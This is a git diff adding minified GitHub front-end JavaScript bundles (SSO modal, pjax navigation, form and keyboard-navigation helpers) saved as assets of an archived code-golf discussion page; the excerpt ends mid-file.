a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof 